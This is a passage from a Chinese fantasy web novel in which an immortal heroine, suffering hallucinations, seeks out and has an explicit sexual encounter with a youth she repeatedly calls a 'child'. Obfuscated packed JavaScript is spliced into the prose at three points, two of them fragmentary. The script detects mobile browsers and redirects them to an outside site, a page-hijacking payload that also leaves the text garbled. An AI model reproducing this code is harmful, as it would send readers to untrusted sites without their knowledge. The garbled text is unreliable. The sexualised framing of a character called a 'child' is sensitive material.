其实早在一百年前迎战凶神时,她就发现凶神的外形和能力与这个世界的基调有些违和,反倒更像是现世中会被调查局归入超高危级天灾的类型。 她以为只是巧合,凶神只是凑巧长得像她所熟知的那些不可名状罢了。 但现在的灵兽变异无疑是在告诉她,也许不是巧合。 现实的异形和昆天域变异的灵兽,它们很有可能是同一种东西。 座下也有不少人曾参与或是目睹了讨伐凶神的一战,或多或少都察觉到灵兽变异和凶神出世的情况存在类似。 “当真是不得了的情况。” “异形?异形和凶神之间到底有没有关联啊,不会真再来个凶神吧……百年前死了那么多人……” “难怪仙尊会来。” 林玄夜清了清嗓子:“因此,原定于龙骨窟的外出历练,将更改到这些出现灵兽变异的区 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15626374|172383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 域,让学生们提前了解,他们将来可能要面对的是什么。” 林玄夜继续道:“诸位都是修真界的中流砥柱,若真有危难,诸位的力量必不可少,希望大家不要松懈。” 宗师们纷纷点头,表示赞同。 议事结束后祝寒单独和林玄夜留了一会儿,她难得来一次,既然来了,就与林玄夜一起将岛上其余有待商榷地事务商定完。 夜色渐沉。 “最后一项……”林玄夜顿了顿,今天处理的事务太多,纵使是他也感到有些疲惫。 他不禁在心中感叹,仙尊不愧是仙尊,昨日扫定龙骨窟,今天来处理逐月岛事务,连轴转的情况下还丝毫没有倦怠。 她的轮廓在烛光映照下柔和安静,眼神一丝不苟,认真翻看每一本记录册。 林玄夜定了定神,继续说:“倒不是重要的事,秦老今日告了长假,他师兄仙逝,宗门缺少道轮境强者坐镇,秦老便回去做掌门了。” 祝寒点头:“他空缺出来的位置有人替上吧?” 林玄夜:“琴修系那边的主课倒是有人替上,就是这个琴乐课嘛……” 祝寒大概知道有什么问题了。 秦老的七弦琴在整个昆天域都是数一数二,堪称一绝。恐怕一时之间找不到水平相当的人,如果随随便便找人接任,过往上惯了他的课的学生难免会有落差不适应。 琴乐课虽然只是一门陶冶情操的副课,选修的人也不是很多,但祝寒也不想就这么糊弄过去,林玄夜也是同样。 林玄夜心想,其实也不是无人可替。最好的人选就在面前,但他敢说吗? 祝寒近百年没怎么出离火宫,人人都知她有旧伤,大部分时候都在闭关静养,为这事劳烦她实在不妥。 况且他无法想象祝寒给那些年轻人上课的样子。 “这事好办。”祝寒的声音打断林玄夜思绪。 林玄夜:“您有人选?” “我来就行了。”祝寒将手里的琴乐课名单放下,见林玄夜表情呆滞,以为他有什么疑虑,便跟了个问句,“可以吗?” 林玄夜:“啊,真的吗?您不用待在离火宫吗?” 祝寒:“大概是不用像过去那样一直待在离火宫了。” 林玄夜不太明白,但听祝寒这么说,他还是高兴:“您一定是身体好些了吧?您愿意来那当然没问题。” 祝寒心想那倒也没有好些。 只是现在,除了在离火宫静养这一种方式以外,她多了一种选择罢了。 其实就算没有这事,她原本也准备在逐月岛多留一段时间。 所有事务商定完毕,祝寒看林玄夜也累了:“辛苦了,教宗大人,陪我谈到现在。” 林玄夜:“您这是什么话,我这点这算什么辛苦……还有就是,我担不起您这么叫我,哎,虽然每次这么跟您说都不管用。” 祝寒看着林玄夜,他与林玄昭有面貌有七八分相似,要更成熟些,没有林玄昭的锋芒和棱角,多了几分温润。同母所出,他比林玄昭大了二十多岁。 “玄夜。”祝寒改口叫了一个许久没叫过的称呼,“你母后很想你,有空回去看看她。” 林玄夜:“……是吗?” 他眼底闪过一丝不易察觉的惆怅:“我知道了。” 祝寒没再多说。 起身的一刻,她突然感受到一阵强烈眩晕。 眼前如同有粘稠的血液慢慢落下,逐渐侵占视野,也侵占着头脑。耳中嗡鸣声加剧,耳膜在压迫感下战栗,连带着她脖颈也僵硬地动不了。 一时间她仿佛被拖入一个空白的世界,失去了对周围一切的感知。 “仙尊?” 模糊遥远的声音不知从哪个方向传来。 她心跳加快,一股燥热感漫上心头。 不,不能在这种时候…… 肩膀突然被一双手扶住,人体的温度传来,燥意从小腹一窜而起。 “您怎么了?” 祝寒猛地张大双眼,视线聚焦,看样子她刚刚应该是险些一头栽倒,被林玄夜扶住。 林玄夜正扶着她肩膀,眼神担忧:“您还好吗,是不是太累了?” 她用尽全身力气压抑住逐渐粗重的呼吸声,努力让自己声音听上去平稳正常,转头对林玄夜说道:“我没事……谢谢,可以先把手放开吗?” 林玄夜连忙将手从她肩上移开。 林玄夜:“我送您回去休息。” 这种时候不能让他看出什么端倪,祝寒强压着不适感,点了点头。 好在到住处没有多远的路程,很快就到了。 13. 心莲荡 与林玄夜道了晚安后,祝寒回屋关上房门,双肩疲惫地耷了下来。事实上昨天用了红莲业火后,头昏脑涨的不适感伴随了她一整天。 以及。 她看向屋子里那些烛台上跳动着的明亮焰火噼里啪啦爆开成一串串眼珠,蜡油变成会流动的血浆,再一眨眼,一切又归于正常。 她真的很累了,麻痹自己对那些异常的知觉,飞快地洗完澡。刚一躺下,天花板在视网膜上变得粘稠,扭曲成漩涡,猩红液体从漩涡中心滴落下来。 祝寒感觉到液体滴落在脸上湿哒哒的触感,她指尖轻轻揩过脸颊,干干净净什么也没有。 床榻似乎在下陷,身下刚洗过的干燥床单不知何时摸起来湿滑黏腻,但又很软,她躺的地方慢慢凹陷下去,仿佛要被包裹起来,像是某种海底生物温暖的腹腔。 温柔的、舒服的,与外界隔绝不会有任何人来打扰,让人想要就这么沉浸其中,安安稳稳地睡去。 不过是正常的精神污染,睡一觉就好了。她想。 抱着一团被褥,她蜷起身子,将自己埋在一团团起伏的肉堆中。可她似乎并不能如愿以偿睡去,没过多久身体里五脏六腑像是在被火慢慢灼烧,单薄如纱的里衣被薄汗浸透,紧贴肌肤,在不规律起伏的胸口晕开淡淡的粉色。 浸润着水意的眼睫轻轻颤动,朦胧的热气从嘴里哈出。 好热。 她翻了个身,将被褥推开,浓墨如云的乌发凌乱地铺开,敞开的衣襟裸露出大片肌肤,在月光下白得发亮。 这个时间,阿政应该睡了吧。她别过头去,轻轻咬住手指,没来由地想着。 双腿下意识夹紧,大腿根交叉摩挲,手向下探去,却被一条触手缠住手腕拉回去按在脑袋旁边。 带着吸盘的触手一条从脚踝攀附上来,一条缠上腰部,严丝合缝地亲昵贴合,赤裸裸传递来冰凉的温度和滑腻的触感。像是心意相通,它们非常明白祝寒现在需要什么,触手的尖端丝毫不管她现在放大数倍的感知,就像有生命和意识一般卖力地、灵活地刺激着薄弱的神经。 大脑神经在雀跃着,她甚至发出了愉悦的叫声……但是……这是那么让她厌恶的东西。 祝寒意识在一片混沌中无力挣扎着,在脑海快要空白时终于猛地睁开眼,天花板很干净,床也很干净,什么也没有。 她捂着头,从床上撑起来,双眼红得可怕,酸涩疲惫,上下眼皮无意识地抽搐。 业火灼烧略有放缓,但还没完全消解。业火中的孽力随着时间推移,根植已深,发作持续时间也越来越长。 一股窜上小腹的燥热感在吸食掏空着身体。 这觉是没法睡了。 在起身去洗第二次澡之前,她侧躺在床上,弯起身子,这个姿势小腹被挤压着会稍微好受一些,呼吸频率慢慢加快,她发出一声急促高昂的鼻音,月光勾勒出修长的脖颈线条,手指沾上蜿蜒晶莹的水光。 还不够。 想要有人带她坠入地府冥河最幽深的河底,被刺骨的凉意亲吻舔舐全身。 随手披上外衣,夜色下的庭院里花瓣纷飞,祝寒踏入空中,有意隐匿起气息,几息间便裹着一身淡香微凉的风出现在聆梧苑门前。 子时已过,聆梧苑落叶的声音都清晰可闻。南宫政仁那间房的灯已经熄了。 轻轻推开门,走进里间,榻上空无一人。 她倒也没什么疑惑的感觉,这孩子总是有很多秘密,至于是什么秘密,她对此并不好奇。她理解每个人都有秘密,每个人也需要属于自己的时间和空间。 她不会干涉南宫政仁要做的事,就像遛狗时遥遥握着牵引绳的一端,任由小狗自己好奇地左右来回乱走,偶尔还与其他路过的狗打闹一样。 只要狗不走丢就行了。 通灵玉出现在手心中,幽莹的小点闪烁,心中浮现南宫政仁的位置。 他在藏书阁。 祝祈琰苦练了一天剑到深夜才回来,正好瞥见祝寒往藏书阁而去的背影。他揉了揉眼睛,不确定是否认错了:“姑姑?” 姑姑怎的深更半夜出现在聆梧苑,又走得这般匆忙,难得碰见一次,他还想着什么时候能向姑姑讨教点剑道上的问题。 也罢,下次吧。 最近姑姑好像很忙,他还是尽量别去打扰了。 …… 藏书阁大门已锁,并不影响祝寒轻易解开禁制进去。 她的视线中,一切依旧像是被搅乱的废弃的油污般光怪陆离,身旁的场景坍塌变形扭曲成蠕动的肉块,楼梯上一双双眼睛从裂缝中爆开,凸出来的眼球牢牢跟随着她的方向。 上到四楼,烛影幽暗,两只蝴蝶扇动昳丽的蓝色翅膀从祝寒身边翩翩飞过,指引着她的目光向某个方向看去。 身形颀长,黑衣席地,南宫政仁站在一排书架前,正从书架上取出一册书埋头翻看着。 “坤渊、龙骨窟,究竟是怎么一回事呢……古怪的世界……” 他看得很认真,以至于没有第一时间察觉到身后有人。 从身后抱上南宫政仁那一刻,他的身体传来一瞬的僵硬,手里书本啪的掉在地上。 蝴蝶环绕在身旁,周遭的诡异如潮水般褪去。 “阿政,你身上好凉,像死人一样。我好喜欢。”她迷迷糊糊也不知道自己在说什么,只是本能地将头埋进少年的肩膀,鼻尖蹭着他柔顺清爽的发丝,从他身上贪婪地吸取自己喜欢的气息。 抱着他就像抱着一只大型犬,环着他精瘦健壮的腰,摸到腹肌的轮廓,虽然在她眼里南宫政仁还是个孩子,但身材已经是个成熟男人了。 祝寒忽的想起,几个月前刚见到南宫政仁时,他还没这么高。少年正是在长个子的年纪,那时自己还可以勉强与他平视,现在却只能将额头抵在他肩上。 原来她已经不能将他完完全全塞在怀中了。 对于祝寒来说,这是她第一次拥抱南宫政仁。 对于南宫政仁来说,这是第二次。 他心跳慢了半拍,花了几秒时间才重新有脚踏实地的感觉。 这一次的感觉与前世那次稍显不同,一模一样的姿势,但他没有像前世那样战栗、恐惧,也许是因为他们都还没有坏掉。 不过姐姐的确很喜欢从背后抱他,两次都抱得很紧,隔着衣服也可以感受到她的温度和她柔软的身体。她温暖的小腹贴在自己的后腰上,身上淡淡的香气萦绕在鼻尖,让人心神跟着飘起来。 多么让人贪恋的感觉。 “姐姐,怎么了?”他回过神,轻声问道。 祝寒一抱住南宫政仁就感觉好些了,原本准备说出的更加亲昵直白的话到了嘴边就变成了:“没别的事,就想抱抱你。” “只是抱抱吗,姐姐,不需要我做点别的?” 他突然有些懊悔,出来的时候不该把外套穿上的。如果他露出锻体过后的身体线条,姐姐说不定会兴趣更高,愿意与他做更多事。 祝寒语气带上些调侃的笑意,顺着他的话说道:“你还想做什么呀。” 她的手原本放在南宫政仁的银制腰带上,这会儿被他握在了手里。 他鼓起勇气问道:“姐姐,关于我说的那个提议,你考虑得怎么样了?” 祝寒微微一愣。 为什么会想要与她成亲呢。明明她也可以与他做那些与成亲没有两样的事。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15631574|172383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 与过往那些道侣之间也是心照不宣地从不提及这个话题,以至于白天他那么直白恳切地说出那两个字时,给她带来了一点微小的、新奇的冲击力。 果然,他是特别的。 他闷闷地说:“姐姐,我想当你的丈夫。” 喜欢一个人,就会想与她结婚,这难道不对吗? 他只想要姐姐成为他的妻子,这个想法很过分吗? 他还见过姐姐藏得最深的秘密,他们的关系不比寻常夫妻更亲密吗? “阿政。”祝寒轻声唤他,与此同时缓缓抽出环在他腰上的手。 感受到姐姐的身躯远离他,她被他吓到了吗,要走了吗? “姐姐,不要走。”他转过身去,像抓住救命稻草一般抓住祝寒抽离出的手腕。 不要抛下我,不要对我失望。 明灭的烛光映照着少年清晰的棱角,下巴的线条分明有力,他喉结滚动,上扬的眼尾微微泛红,鸦羽般根根分明的眼睫轻轻扑扇,眼波颤动,带着一丝哀求。 这样子,莫名很像一只害怕被抛弃的小狗,不由得让祝寒心头一软,失笑道:“为什么会这么想?” 他很没有安全感吗?可是祝寒自认为是给够了他安全感的,还能怎么办呢? “乖,我不会走的。” 她将手按在南宫政仁胸前,微微踮起脚尖,仰起头,唇瓣轻启,覆在他紧绷的唇上。他的嘴唇厚薄适中,体质的关系,也是凉如一层薄薄的冰,刚亲上时很顺从地就张开嘴唇,如同山巅融化的雪水。 唇瓣紧贴,舌尖交缠,南宫政仁啃咬舔舐的幅度慢慢变大,吻得唇周都是湿滑的津液,好像要贪婪地席卷掉她嘴里所有空气一样。他的鼻尖蹭到脸上,也是湿漉漉的。 不过这样从上而下吻他,对祝寒而言实在有点累,好在南宫政仁察觉到这一点,手臂箍住她后腰,给了她一个支撑点,将她微微提起。这个姿势两人下半身不可避免地紧密相贴,南宫政仁眉头微不可察地飞快蹙了一下,他快要有点不行了。 分开的时候两人唇瓣都拉出一条剔透的丝线,南宫政仁大口喘着气,还没缓过来,头晕眼花之间他扶住身侧的书架,结果出大糗没扶稳,他另一只手还在祝寒腰上,连带着两人都往地上滑去。 祝寒双目微微睁大,发丝与书页飞舞,她摔在南宫政仁胸前,额头结结实实磕到他的下巴,两人都是一声闷哼,不过显然作为缓冲垫的南宫政仁要更痛一点。 她手撑在南宫政仁旁边,支起身子,乌墨般的发丝从身侧垂落在地,与南宫政仁的头发缠绕在一起,分不清哪一缕是谁的。看着他躺在地上捂着下巴,祝寒没忍住扑哧一声笑了出来。 “姐姐,不要笑我……”他红着脸,祝寒的外衣也滑落了,里面那件单薄如纱的白衣在月光下柔和透亮,他有些不敢去看。 嘴唇却再次被吻住。 “唔……姐姐……” 祝寒坐在他身上,捧起他的脸,这个姿势吻起来比刚刚轻松多了。 南宫政仁闭上眼,迎合着她的吻。 热情、温柔,像火焰缓缓侵袭。 姐姐……你在每一任道侣面前都有这样的一面吗? 他胸腔中翻涌着说不清道不明的情绪,浓烈的爱、藏在骨子里的贪欲和卑微,以及一点逐渐放大的嫉妒。 因为这份没来由的嫉妒,他将祝寒嘴唇咬破了。 祝寒察觉到他的小情绪,指尖轻轻摩挲着少年耳后的肌肤,问道:“怎么了?” 南宫政仁还不知该如何开口,一道光束猛地从不远处的楼梯口晃来,从眼前一扫而过。 随即两人都听到一道哈欠声和逐渐逼近的脚步声。 14. 心莲荡 这个点还会出现在藏书阁的只有值夜巡查的人了。 林璇玉揉揉眼睛,挑着盏灯,四下晃了晃,她明明听到有窸窸窣窣的声音,现在却安静得落针可闻。 今天轮到她值守藏书阁,虽然同窗们都说没人敢在逐月岛乱来,这么多年逐月岛晚上就没出过什么岔子,只需要入夜时检查一遍,其余时间睡觉还是做别的都无所谓,但性格使然,每每轮到她时她还是按着规定认真巡查。 她在楼梯口定了定,还是迈步朝疑似发出声音的方向走去,走过一排一排书架,挑灯查看。 祝寒心里五味杂陈,这孩子也太认真了,偏偏是这种时候…… 灯光和脚步徐徐逼近,祝寒不得不松开勾着南宫政仁的手,他们所在的书架位置稍偏,现在带着他悄声无息躲开还来得及。 她想要起身,后腰却感受到一股力,南宫政仁两只手臂紧紧圈着她的腰,她疑惑皱眉,挣扎两下,不敢弄出太大动静,但南宫政仁不但不为所动,还加大力道,将她紧箍在怀里。 祝寒没想到他会这样。 南宫政仁对上祝寒质询的眼神,见她眉头微蹙,颜色偏浅的眼睛不复一贯的冷淡,仿佛一潭明镜般的水面有波光颤动。 像在用眼神问他:“你想干什么?” 眼里有些愠色,她生气了? 他本是不敢忤逆她的,但某种意义上的虚荣心理作祟,他这次不想放开……他本还忐忑,但当看到她这样的表情时,就像一股梦幻的气泡撞上心口,让他兴奋起来。 祝寒感觉到他胸口有极低的笑意震荡,他嘴唇贴过来,在耳边吐着气音:“姐姐,被看到的话会怎么样呢?” 近在咫尺的心跳声骤然加快。 余光瞥见拐角处探出的灯盏,脚步声清晰可闻就在耳边,这下想躲也彻底来不及了,祝寒一头埋进南宫政仁怀里,南宫政仁掀开宽大的衣袍将她头和上半身盖住。 衣袍刚盖过她的一瞬,灯光晃来,照亮他们。 “南宫政仁你在做什么!” 林璇玉大叫。 听到这声音,祝寒悬着的心终于死了。 真的被看到了。 黑暗中,她呼吸加快,紧贴着南宫政仁胸膛,隔着肋骨感受到他心脏的快速搏动,那心跳从他身体传过来,也共振着她的胸腔,与她的心跳连接在一起,像是同一架钢琴上交织的节拍。 闭着眼,抓紧他胸前的衣襟,只管静静将头埋低,呼吸与他身上清冽气息交融在一起。 没办法,事已至此。 身体相贴,再加上被人撞破的刺激,南宫政仁一时间魂都要飞出身体,他仰起头,颧骨染上淡红,喟叹声从口齿间溢出。 救命。 林璇玉在心里尖叫。 谁来救救她。 眼前这是什么样一副场面呢,书架上的书翻落乱撒了一地,书页之间,南宫政仁一只手肘撑在地上,让上半身略微支起,另一只手圈在身上那女子腰上,他用衣服遮住了紧靠在胸前的她,但林璇玉从她侧卧在南宫政仁腿间的下半身可以看出她身上就穿了一件没多少布料的薄裙,外衣散落在一旁。 满地狼藉、衣着凌乱、呼吸急促、面带潮红。 在她来之前,这里发生过什么,已经呼之欲出。 从小身在规矩森严的皇宫,现在又在逐月岛这种大家卷生卷死两眼一睁就是修炼的地方,林璇玉这辈子十八年以来还是头一回见这种场面。 她简直不敢相信。 南宫政仁唇角挂着一抹妖异的殷红,懒散餍足:“林璇玉,看够没?” 声音里掺杂着青楼男子一朝得势般的春风得意,不,应该说小人得志更为贴切。 林璇玉没去过青楼,更不知青楼小倌是什么样的,但不知为何她就是突然有这种感觉。 什么东西啊! 林璇玉脑子混乱:真是服了,这到底是什么,我大半夜巡查不是为了看这个的,话说他怀里的到底是谁啊,这种事情应该只有道侣能做吧?他何时有的道侣?同窗们天天埋头研究符术,熬夜也是为了画符,玩都没时间,他居然还有空闲谈情说爱。 不对啊这是重点吗?重点是这里是藏书阁啊! 伤风败俗!成何体统! 还一副理所当然的样子,搞得像她才是偷偷摸摸做错事的人一样! “你这厮!”林璇玉重整旗鼓,被逮到破禁的人是南宫政仁,她理应秉公执法,“给我起来!宵禁时间在藏书阁做这种事,违反条例该当受罚!我明天一早就上报戒律堂!” 南宫政仁不但不慌,还将怀里的人搂的更紧。 林璇玉受不了了:“我要告诉仙尊,让她来管你!” 她可还没忘,此时此刻祝寒也在逐月岛。旁人管不了他,仙尊还管不了吗!这还是祝寒的亲家侄子,她一定不会放任他破禁不管。 戒律堂慑不住他,玄夜哥也管不了他,但林璇玉不信他在仙尊面前还能嚣张。 说完,她看南宫政仁怀中那女子终于有了些反应。 南宫政仁眼角抽了抽,手悄然摸向衣袖。 林璇玉只见他面色有变,心想他定是听到自己搬出祝寒,感到害怕了。 “你若乖乖认错,随我去戒律堂领罚,我就不……” 话未说完,一道符纸以迅雷不及掩耳之势飞来啪地贴在她脑门上,由于林璇玉心中惊涛骇浪尚未平静,一时失察,毫无防备地就被南宫政仁这张昏迷符放倒。 她一个大字倒在地上,昏睡过去。 南宫政仁:“姐姐,好了,她睡着了。” 祝寒睁开眼,一言不发远离南宫政仁胸膛,从他身上翻身下来。 并非生气,也并非因为林璇玉刚刚那句微妙的刺激。 随手将垂在胸前的散乱头发拨到身后,目光不着痕迹地扫过呼呼大睡的林璇玉。 同种符箓也是有品阶之分的。品阶取决于画符之人对符箓的精通程度,造诣越高,越是能画出更高品阶的符箓,而境界只会影响符箓发挥出的威力, 同等境界,能起效这么快,说明这张符箓的品阶已经远超他这个境界应有的水平。 说起来,今天上午那道符不也是吗。 是某种特殊的能力吗, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15643745|172383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还是说是因为一些别的什么…… “姐姐。” 他毛茸茸的影子罩过来,双臂从背后圈住她,鼻尖在她颈窝贪恋地蹭着。 “你生气了吗?” 声音轻柔如水,像一只柔若无骨的手抚过耳畔。带着几分小心翼翼的试探,以及仿佛与生俱来,不显刻意的诱惑。 祝寒突然对那些宠信妖妃祸乱朝政的昏君产生几分理解。 多么无害、纯真、可怜的语气,即使知道在甜蜜糖衣下藏着目的性的循循善诱,依旧不由自主想要听他说下去。 “林璇玉说得对,我做错了事,”他柔软的发丝和吐气声扫在祝寒脸上,“我应该被惩罚……姐姐,你罚我吧。” 祝寒脑袋有些晕,是产生浓烈的生理性渴望时大脑在进行过度神经活动带来的感觉,本已平息的欲.火再度被挑起。 他都是从哪里学来的狐媚本事…… 这还是她过去认识的那个与她说两句话都会脸红不敢直视想要跑开的阿政吗? 算了……算了……不重要。 眼底的冷意逐渐被浓郁的渴望掩盖。 唯有此刻,她将一切复杂困扰的心绪全都放下。 不管怎么说,他是她现在最好的药。 早就该这么做了。 …… 一回到房间,南宫政仁后背就撞上坚实的墙壁,硌得生疼,但后脑勺却被一只手稳稳托住,嘴唇里破碎的音节被舌头堵回去,感受到女人抚过他颈间的通灵玉项链,然后握住银链缓缓勒紧,深陷进皮肉,侵略性的吻也随之逐渐加深。 后脑被扣住,不容反抗,她一寸一寸耐心地亲吻、吮吸,舌尖侵占掠夺着他口腔里的空气,细腻的吻技与他的莽撞截然不同,亲得他浑身酥麻。 窒息、兴奋、迷恋,各种感官乱作一团。 一阵天旋地转的失重感,他后脑陷进柔软的棉花里,宛如置身高空,沉入蓬松的云絮。微凉气流拂过皮肤肌理,随后有温软暖雾自虚空中凝结,沿着沟壑触碰,蜿蜒滴落,一路下滑。 雪原深处的神祇垂落如瀑青丝,引渡沉沦迷途的羔羊。温度从她指尖传来,将战栗的魂魄纳入温柔的水中,沉了下去,水波从四面八方包裹吞没过头顶。 “姐姐、姐姐……” 陷入水中,温柔缱绻,一滴泪浸润过眼角,如露水润湿桃花。 哭泣着,发出不成调的呜咽低鸣,夹杂着细碎的呢喃呼唤。 “乖,再大声点。”她爱惜地抚摸他的脸,诱哄的语气,命令的意味:“阿政,你的声音很好听,叫给我听吧。” 他像得到了夸奖和鼓励的孩子,顺着她的心意,不论是声音还是其他。 他大汗淋漓,目光晕眩,她的话语让他大脑兴奋,如同置身云雾,难以抑制的声音中媚态愈浓。 她的声音也不再清冷如高山之雪,渐渐带上了几分雨打花枝的颤抖。 “好孩子……” 如果此时有人从房门口路过,一定会清清楚楚地听到屋内的动静,脑中描摹出一副香艳画面。 只是两人都无心在意了。